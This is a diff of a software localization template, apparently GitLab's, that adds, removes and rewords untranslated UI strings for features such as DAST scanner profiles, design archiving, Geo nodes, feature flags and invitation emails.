msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
